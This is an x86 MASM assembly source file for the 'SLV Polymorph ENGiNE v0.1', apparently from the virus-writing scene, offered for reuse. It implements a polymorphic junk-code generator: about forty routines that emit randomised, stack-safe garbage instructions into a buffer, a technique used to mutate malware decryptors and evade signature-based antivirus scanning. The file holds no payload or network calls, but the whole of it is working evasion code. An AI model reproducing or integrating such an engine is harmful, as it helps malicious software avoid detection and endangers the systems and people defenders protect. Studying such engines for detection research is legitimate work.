	
   ;X----------------------------X;
   ;| SLV Polymorph ENGiNE v0.1  |;
   ;X----------------------------X;
   
; If u will use stis stuff don't forget me!!! :)
;
; Usage:
;	lea edi,[@Buffer_To_Morph]
;	mov ecx,Size_Of_Buffer_To_Morph
;	invoke Gen_Trash_Code,ecx
; ...
;	@Buffer_To_Morph:
;		db Size_Of_Buffer_To_Morph dup (0)
; ...
;	Size_Of_Buffer_To_Morph equ XXX
;
; Have a nice day...

;------------------------------------;
;ProcName			PROTO	;  Size  ;
;------------------------------------;
Gen_Dec				PROTO	;	1	 ;
Gen_Inc				PROTO	;	1	 ;
Gen_Neg				PROTO	;	2	 ;
Gen_Not				PROTO	;	2	 ;
Gen_Add_Reg32Reg32	PROTO	;	2	 ;
Gen_Sub_Reg32Reg32	PROTO	;	2	 ;
Gen_Psfd_Pop_Reg32	PROTO	;	2	 ;
Gen_Ror				PROTO	;	3	 ;
Gen_Rol				PROTO	;	3	 ;
Gen_Jump			PROTO	;	3	 ;
Gen_Shl_Reg32		PROTO	;	3	 ;
Gen_Shr_Reg32		PROTO	;	3	 ;
Gen_Or_Reg32_1		PROTO	;	3	 ;
Gen_Xor_Reg32_1		PROTO	;	3	 ;
Gen_Add_Reg32_1		PROTO	;	3	 ;
Gen_Sub_Reg32_1		PROTO	;	3	 ;
Gen_Mov 			PROTO	;	5	 ;
Gen_Add_Eax			PROTO	;	5	 ;
Gen_Sub_Eax			PROTO	;	5	 ;
Gen_Test_Eax		PROTO	;	5	 ;
Gen_Cmp_Eax			PROTO	;   5	 ;
Gen_Imul_Eax		PROTO	;	6	 ;
Gen_Add_Reg32		PROTO	;	6	 ;
Gen_Sub_Reg32		PROTO	;	6	 ;
Gen_Or_Reg32		PROTO	;	6	 ;
Gen_Xor_Reg32		PROTO	;	6	 ;
Gen_And_Reg32		PROTO	;	6	 ;
Gen_Adc_Reg32		PROTO	;	6	 ;
Gen_Sbb_Reg32		PROTO	;	6	 ;
Gen_Imul_Reg32		PROTO	;	6	 ;
Gen_Cmp_Reg32		PROTO	;	6	 ;
Gen_Test_Reg32		PROTO	;	6	 ;
Gen_Push_Pop_Reg32	PROTO	;	6	 ;
Gen_Lea_Eax_Eax		PROTO	;	6	 ;
Gen_Jumps			PROTO	;	6	 ;
Push_Pop_Reg32		PROTO	;	6	 ;
Gen_Lea_Eax_Mul4	PROTO	;	7	 ;
Gen_Lea_Eax_Mul8	PROTO	;	7	 ;
Gen_Lea_Eax_Mul2	PROTO	;	7	 ;
Gen_Call_Pop_Reg32	PROTO	;	7	 ;
Gen_Call			PROTO	;	9	 ;
;------------------------------------;
Gen_Fixed_Code		PROTO	:DWORD	 ;
;------------------------------------;
Gen_Trash_Code		PROTO	:DWORD	 ;
;------------------------------------;

.const
	POLY_ITEMS_COUNT	equ		41
	MAX_CODE_LEN		equ		9
	
.code

@POLY_TABLE:
	dd offset Gen_Dec
	dd offset Gen_Inc
	dd offset Gen_Neg
	dd offset Gen_Not
	dd offset Gen_Add_Reg32Reg32
	dd offset Gen_Sub_Reg32Reg32
	dd offset Gen_Psfd_Pop_Reg32
	dd offset Gen_Ror
	dd offset Gen_Rol
	dd offset Gen_Jump
	dd offset Gen_Shl_Reg32
	dd offset Gen_Shr_Reg32
	dd offset Gen_Or_Reg32_1
	dd offset Gen_Xor_Reg32_1
	dd offset Gen_Add_Reg32_1
	dd offset Gen_Sub_Reg32_1
	dd offset Gen_Mov
	dd offset Gen_Add_Eax
	dd offset Gen_Sub_Eax
	dd offset Gen_Test_Eax
	dd offset Gen_Cmp_Eax
	dd offset Gen_Imul_Eax
	dd offset Gen_Add_Reg32
	dd offset Gen_Sub_Reg32
	dd offset Gen_Or_Reg32
	dd offset Gen_Xor_Reg32
	dd offset Gen_And_Reg32
	dd offset Gen_Adc_Reg32
	dd offset Gen_Sbb_Reg32
	dd offset Gen_Imul_Reg32
	dd offset Gen_Cmp_Reg32
	dd offset Gen_Test_Reg32
	dd offset Gen_Push_Pop_Reg32
	dd offset Gen_Lea_Eax_Eax
	dd offset Gen_Jumps
	dd offset Push_Pop_Reg32
	dd offset Gen_Lea_Eax_Mul4
	dd offset Gen_Lea_Eax_Mul2
	dd offset Gen_Lea_Eax_Mul8
	dd offset Gen_Call_Pop_Reg32
	dd offset Gen_Call

@SIZE_TABLE:
	dd	2  	dup (1)
	dd	4  	dup (2)
	dd	9  	dup (3)
	dd	1  	dup (4)
	dd	5  	dup (5)
	dd	13 	dup (6)
	dd  4   dup (7)
	dd	1  	dup (9)
	
Gen_Fixed_Code proc len :DWORD
	
	mov esi,len
@FGEN:
	.if esi>MAX_CODE_LEN
		mov eax,POLY_ITEMS_COUNT
		call rnd2gen
		call dword ptr[eax*4+offset @POLY_TABLE]
		sub esi,ecx
		jmp short @FGEN
	.elseif esi==NULL
		ret
	.else
@AGAIN:	mov eax,POLY_ITEMS_COUNT
		dec eax ; except 9bytes call
		call rnd2gen
		imul eax,4
		add eax,offset @SIZE_TABLE
		.if dword ptr[eax]>esi
			jmp short @AGAIN
		.endif
		sub eax,offset @SIZE_TABLE
		add eax,offset @POLY_TABLE
		call dword ptr [eax]
		sub esi,ecx
		jmp short @FGEN
	.endif
	ret

Gen_Fixed_Code endp

; max len - 1-MAX_CODE_LEN
Gen_Trash_Code proc max_len :DWORD
	
	xor ecx,ecx
	mov esi,max_len

@GEN:	
	mov eax,POLY_ITEMS_COUNT
	call rnd2gen
	call dword ptr[eax*4+offset @POLY_TABLE]
	sub esi,ecx
	.if ((esi>=1)&&(esi<=9))
		invoke Gen_Fixed_Code,esi
		ret
	.elseif esi==0
		ret
	.else
		jmp @GEN
	.endif
	ret

Gen_Trash_Code endp

Gen_Mov proc
	
	mov eax,7
	call rnd2gen
	add eax,0b8h
	.if eax==0bch
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,5
	ret

Gen_Mov endp

Gen_Add_Eax proc
	
	mov al,5
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,5
	ret

Gen_Add_Eax endp

Gen_Sub_Eax proc
	
	mov al,2dh
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,5
	ret

Gen_Sub_Eax endp

Gen_Dec proc
	
	mov eax,7
	call rnd2gen
	add eax,48h
	.if eax==4ch
		inc eax
	.endif
	stosb
	mov ecx,1
	ret

Gen_Dec endp

Gen_Inc proc
	
	mov eax,7
	call rnd2gen
	add eax,40h
	.if eax==44h
		inc eax
	.endif
	stosb
	mov ecx,1
	ret

Gen_Inc endp

Gen_Imul_Eax proc
	
	mov al,69h
	stosb
	mov al,0c0h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Imul_Eax endp

Gen_Ror proc
	
	mov al,0c1h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c8h
	.if eax==0cch
		inc eax
	.endif
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov ecx,3
	ret

Gen_Ror endp

Gen_Rol proc
	
	mov al,0c1h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c0h
	.if eax==0c4h
		inc eax
	.endif
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov ecx,3
	ret

Gen_Rol endp

Gen_Neg proc
	
	mov al,0f7h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0d8h
	.if eax==0dch
		inc eax
	.endif
	stosb
	mov ecx,2
	ret

Gen_Neg endp

Gen_Not proc
	
	mov al,0f7h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0d0h
	.if eax==0d4h
		inc eax
	.endif
	stosb
	mov ecx,2
	ret

Gen_Not endp

Gen_Add_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c0h
	.if eax==0c4h
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Add_Reg32 endp

Gen_Sub_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0e8h
	.if eax==0ech
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Sub_Reg32 endp

Gen_Or_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c8h
	.if eax==0cch
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Or_Reg32 endp

Gen_Xor_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0f0h
	.if eax==0f4h
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Xor_Reg32 endp

Gen_And_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0e0h
	.if eax==0e4h
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_And_Reg32 endp

Gen_Adc_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0d0h
	.if eax==0d4h
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Adc_Reg32 endp

Gen_Sbb_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0d8h
	.if eax==0dch
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Sbb_Reg32 endp

Gen_Jump proc
	
	mov al,0ebh
	stosb
	mov al,01h
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov ecx,3
	ret

Gen_Jump endp

Gen_Call proc
	
	mov al,0e8h
	stosb
	mov al,1
	stosb
	xor eax,eax
	stosw
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov al,83h
	stosb
	mov al,0c4h
	stosb
	mov al,04h
	stosb
	mov ecx,9
	ret

Gen_Call endp

Gen_Add_Reg32Reg32 proc
	
	mov al,3
	stosb
	mov eax,3fh
	call rnd2gen
	; e0-e7
	add eax,0c0h
	.if ((eax>=0e0h)&&(eax<=0e7h))
		mov eax,0c0h
	.endif
	stosb
	mov ecx,2
	ret

Gen_Add_Reg32Reg32 endp

Gen_Sub_Reg32Reg32 proc
	
	mov al,2bh
	stosb
	mov eax,3fh
	call rnd2gen
	; e0-e7
	add eax,0c0h
	.if ((eax>=0e0h)&&(eax<=0e7h))
		mov eax,0c0h
	.endif
	stosb
	mov ecx,2
	ret

Gen_Sub_Reg32Reg32 endp

Gen_Imul_Reg32 proc
	
	mov al,69h
	stosb
	mov eax,3fh
	call rnd2gen
	; e0-e7
	add eax,0c0h
	.if ((eax>=0e0h)&&(eax<=0e7h))
		mov eax,0c0h
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Imul_Reg32 endp

Gen_Shl_Reg32 proc
	
	mov al,0c1h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0e0h
	.if eax==0e4h
		inc eax
	.endif
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov ecx,3
	ret

Gen_Shl_Reg32 endp

Gen_Shr_Reg32 proc
	
	mov al,0c1h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0e8h
	.if eax==0ech
		inc eax
	.endif
	stosb
	mov eax,0ffh
	call rnd2gen
	stosb
	mov ecx,3
	ret

Gen_Shr_Reg32 endp

Gen_Cmp_Reg32 proc
	
	mov al,81h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0f8h
	.if eax==0fch
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Cmp_Reg32 endp

Gen_Test_Reg32 proc
	
	mov al,0f7h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c0h
	.if eax==0c4h
		inc eax
	.endif
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Test_Reg32 endp

Gen_Test_Eax proc
	
	mov al,0a9h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,5
	ret

Gen_Test_Eax endp

Gen_Cmp_Eax proc
	
	mov al,3dh
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,5
	ret

Gen_Cmp_Eax endp

Gen_Or_Reg32_1 proc
	
	mov al,83h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c8h
	.if eax==0cch
		inc eax
	.endif
	stosb
	mov al,1
	stosb
	mov ecx,3
	ret

Gen_Or_Reg32_1 endp

Gen_Xor_Reg32_1 proc
	
	mov al,83h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0f0h
	.if eax==0f4h
		inc eax
	.endif
	stosb
	mov al,1
	stosb
	mov ecx,3
	ret

Gen_Xor_Reg32_1 endp

Gen_Add_Reg32_1 proc
	
	mov al,83h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0c0h
	.if eax==0c4h
		inc eax
	.endif
	stosb
	mov al,1
	stosb
	mov ecx,3
	ret

Gen_Add_Reg32_1 endp

Gen_Sub_Reg32_1 proc
	
	mov al,83h
	stosb
	mov eax,7
	call rnd2gen
	add eax,0e8h
	.if eax==0ech
		inc eax
	.endif
	stosb
	mov al,1
	stosb
	mov ecx,3
	ret

Gen_Sub_Reg32_1 endp

Gen_Psfd_Pop_Reg32 proc
	
	mov al,9ch
	stosb
	mov eax,7
	call rnd2gen
	add eax,58h
	.if eax==5ch
		inc eax
	.endif
	stosb
	mov ecx,2
	ret

Gen_Psfd_Pop_Reg32 endp

Gen_Push_Pop_Reg32 proc
	
	mov al,68h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov eax,7
	call rnd2gen
	add eax,58h
	.if eax==5ch
		inc eax
	.endif
	stosb
	mov ecx,6
	ret

Gen_Push_Pop_Reg32 endp

Gen_Lea_Eax_Eax proc
	
	mov al,8dh
	stosb
	mov al,80h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,6
	ret

Gen_Lea_Eax_Eax endp

Gen_Lea_Eax_Mul4 proc
	
	mov al,8Dh
	stosb
	mov al,04h
	stosb
	mov al,85h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,7
	ret

Gen_Lea_Eax_Mul4 endp

Gen_Lea_Eax_Mul2 proc
	
	mov al,8Dh
	stosb
	mov al,04h
	stosb
	mov al,45h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,7
	ret

Gen_Lea_Eax_Mul2 endp

Gen_Lea_Eax_Mul8 proc
	
	mov al,8Dh
	stosb
	mov al,04h
	stosb
	mov al,0c5h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov ecx,7
	ret

Gen_Lea_Eax_Mul8 endp

Gen_Jumps proc
	
	mov al,0EBh
	stosb
	mov al,02h
	stosb
	mov al,0EBh
	stosb
	mov al,02h
	stosb
	mov al,0EBh
	stosb
	mov al,0FCh
	stosb
	mov ecx,6
	ret

Gen_Jumps endp

Gen_Call_Pop_Reg32 proc
	
	mov al,0e8h
	stosb
	xor eax,eax
	inc eax
	stosd
	xor eax,eax
	dec eax
	call rnd2gen
	stosb
	mov eax,7
	call rnd2gen
	add eax,58h
	.if eax==5ch
		inc eax
	.endif
	stosb
	mov ecx,7
	ret

Gen_Call_Pop_Reg32 endp

Push_Pop_Reg32 proc
	
	mov al,68h
	stosb
	xor eax,eax
	dec eax
	call rnd2gen
	stosd
	mov eax,7
	call rnd2gen
	add eax,58h
	.if eax==5ch
		inc eax
	.endif
	stosb
	mov ecx,6
	ret

Push_Pop_Reg32 endp